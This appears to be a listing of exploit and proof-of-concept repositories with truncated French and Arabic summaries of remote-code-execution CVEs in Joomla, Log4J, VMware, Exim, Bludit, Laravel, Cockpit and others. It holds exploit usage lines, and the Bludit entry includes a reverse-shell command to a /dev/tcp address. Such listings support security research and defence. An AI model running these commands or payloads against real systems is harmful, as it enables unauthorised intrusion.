CVE-2020-24597

Fabriqué par HK CVE-2020-24597 : Traversée de répertoire dans commedia menant à une exécution de code à distance RCE Remarque : Comme le correctif de Joomla core 3.9.21 était incorrect, ce bug n'a pas été patché correctement. Je peux contourner ce patch facilement. Je souhaite garder cela secret...

Log4J-CVE-2021-44228-RCE

استغلال Log4J CVE-2021-44228 مع تنفيذ الأوامر استغلال تفاعلي، فقط قم بتشغيل: ./exploit.sh...

CVE-2022-22954

CVE-2022-22954 PoC RCE via SSTI sur VMware Workspace ONE Access et Identity Manager. CVE-2022-22954 - PoC SSTI Utilisation : CVE-2022-22954.py -h -m SETMODE -i IP -c CMD optional arguments: -h, --help show this help message and exit -m SETMODE, --mode SETMODE Available modes: shodan | file | manu...

exploit-CVE-2020-5844

Exploit pour CVE-2020-5844 Pandora FMS v7.0NG.742 - Exécution de code à distance Vous aimez ce dépôt ? Donnez-nous une ⭐ ! Pour des fins éducatives et de recherche en sécurité autorisées uniquement. Auteur de l'exploit @UNICORDev par @NicPWNs et @Dev-Yeoj Description de la vulnérabilité...

CVE-2019-0708

CVE-2019-0708 : Détection en masse 0x01 Introduction CVE-2019-0708 : vulnérabilité d'exécution de commandes à distance via le RDP de Windows Les serveurs Windows ont été frappés par une vulnérabilité critique le 15 mai 2019. Cette faille affecte un large éventail de systèmes : Windows 2003, Windo...

CVE-2026-22444

CVE-2026-22444 Vulnérabilité de validation de chemin UNC dans Apache Solr Présentation Cette vulnérabilité a été découverte et signalée à Apache en 2025. Elle affecte la fonctionnalité de création de cœur d'Apache Solr, où l'accès réseau aux chemins UNC est effectué avant que les contrôles de...

CVE-2026-20841-PoC

CVE-2026-20841 - Vulnérabilité d'exécution de code à distance dans l'application Bloc-notes Windows Présentation de la vulnérabilité Champ| Détail ---|--- Identifiant CVE| CVE-2026-20841 Titre| Vulnérabilité d'exécution de code à distance dans l'application Bloc-notes Windows Impact| Exécution de...

cve-2026-33937

CVE-2026-33937 - Preuve de concept PoC d'exploitation RCE Handlebars Description CVE-2026-33937 est une vulnérabilité critique d'exécution de code à distance RCE dans Handlebars, causée par une gestion non sécurisée des entrées d'arbre de syntaxe abstraite AST. La vulnérabilité permet aux...

Ashwesker-CVE-2026-20045

🚨 CVE-2026-20045 — Analyse Zero-Day 🚨 🧨 De quoi s'agit-il Une vulnérabilité critique d'exécution de code à distance RCE affectant plusieurs produits Cisco Unified Communications. Elle a été activement exploitée dans la nature avant la publication des correctifs. 🔥 Pourquoi c'est dangereux 🚫 Aucun...

CVE-2026-26720-Twenty-RCE

Twenty CRM - Exécution de code à distance RCE authentifiée Vue d'ensemble Produit : Twenty CRM Vulnérabilité : Exécution de code à distance RCE via les fonctions serverless des workflows Sévérité : Critique Composant affecté : Automatisation des workflows Code - Fonction serverless Version testée...

eximrce-CVE-2019-10149

eximrce اتصال بسيط عبر Python socket لاختبار ما إذا كان Exim معرضًا للثغرة CVE-2019-10149. الحمولة ببساطة تلمس ملفًا في /root/lweximtest. سيكون الخرج بطيئًا اعتمادًا على رد الخادم وعدم معرفة كيفية استخدام وحدة Python socket بشكل صحيح. أرغب في درس حول كيفية تسريعها. تم اختبارها فقط على أنظمة cPane...

CVE-2019-16113

CVE-2019-16113 CVE-2019-16113 - bludit = 3.9.2 تنفيذ أوامر عن بعد مع المصادقة الاستخدام python CVE-2019-16113.py -u http://10.10.10.10 -user user -pass secret -c "bash -c 'bash -i & /dev/tcp/10.10.14.172/1337 0&1'" مثال...

0vercl0k

0vercl0k PoC pour CVE-2021-28476, une « vulnérabilité d'exécution de code à distance » de l'invité vers l'hôte dans vmswitch.sys...

proftpd-CVE-2026-42167-analysis

CVE-2026-42167 — Injection SQL / Contournement d'authentification / RCE dans ProFTPD modsql Reproduction indépendante, analyse détaillée de la cause racine au niveau du code, et analyse franche de l'exposition pour CVE-2026-42167 — le contournement de isescapedtext dans le pipeline de...

CVE-2026-3844

CVE-2026-3844 — Breeze Cache = 2.4.4 Téléversement de fichier arbitraire non authentifié menant à une exécution de code à distance RCE Vue d'ensemble Champ| Valeur ---|--- CVE| CVE-2026-3844 CVSS| 9.8 Critique CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CWE| CWE-434 — Téléversement sans...

CVE-2026-36340

CVE-2026-36340 Vulnérabilité d'exécution de code à distance RCE dans Krayin CRM v2.1.5 Vulnérabilité d'exécution de code à distance RCE dans Krayin CRM v2.1.5 CVE : CVE-2026-36340 Gravité : Critique Produit affecté : Krayin CRM v2.1.5 Type de vulnérabilité : Exécution de code à distance RCE...

cve-2026-40176-cve-2026-40261

CVE-2026-40176 Exécution de code à distance RCE dans le dépôt Perforce de Composer 📋 Résumé Vulnérabilité d'injection de commandes dans le pilote de dépôt Perforce de Composer permettant l'exécution de code à distance RCE via une validation insuffisante des entrées dans le traitement des URL de...

CVE-2021-3129-Script

CVE-2021-3129 Laravel = v8.4.2 mode debug : Exécution de code à distance CVE-2021-3129 Utilisation : python3 exp.py http://127.0.0.1:8888 Try to use Laravel/RCE1 for exploitation. +exploit: Laravel/RCE1 Result: Try to use Laravel/RCE2 for exploitation. +exploit: Laravel/RCE2 Result: Try to use...

CVE-2026-23744

CVE-2026-23744 – Preuve de concept Le script Python de cette PoC envoie une simple requête HTTP à l'hôte cible exécutant l'inspecteur MCPJam version remplacez par votre port d'écoute Ensuite, ouvrez un autre terminal et exécutez la PoC : cd CVE-2026-23744 python3 exploit.py Références RCE dans...

CVE-2026-4631-cockpit-RCE

CVE-2026-4631 — Analyse du code Cockpit : Exécution de code à distance non authentifiée via injection d'arguments en ligne de commande SSH Champ| Détail ---|--- ID CVE| CVE-2026-4631 GHSA| GHSA-m4gv-x78h-3427 Sévérité| Critique CVSS 9.8 Versions affectées| Cockpit 327 – 359 Corrigé dans| Cockpit...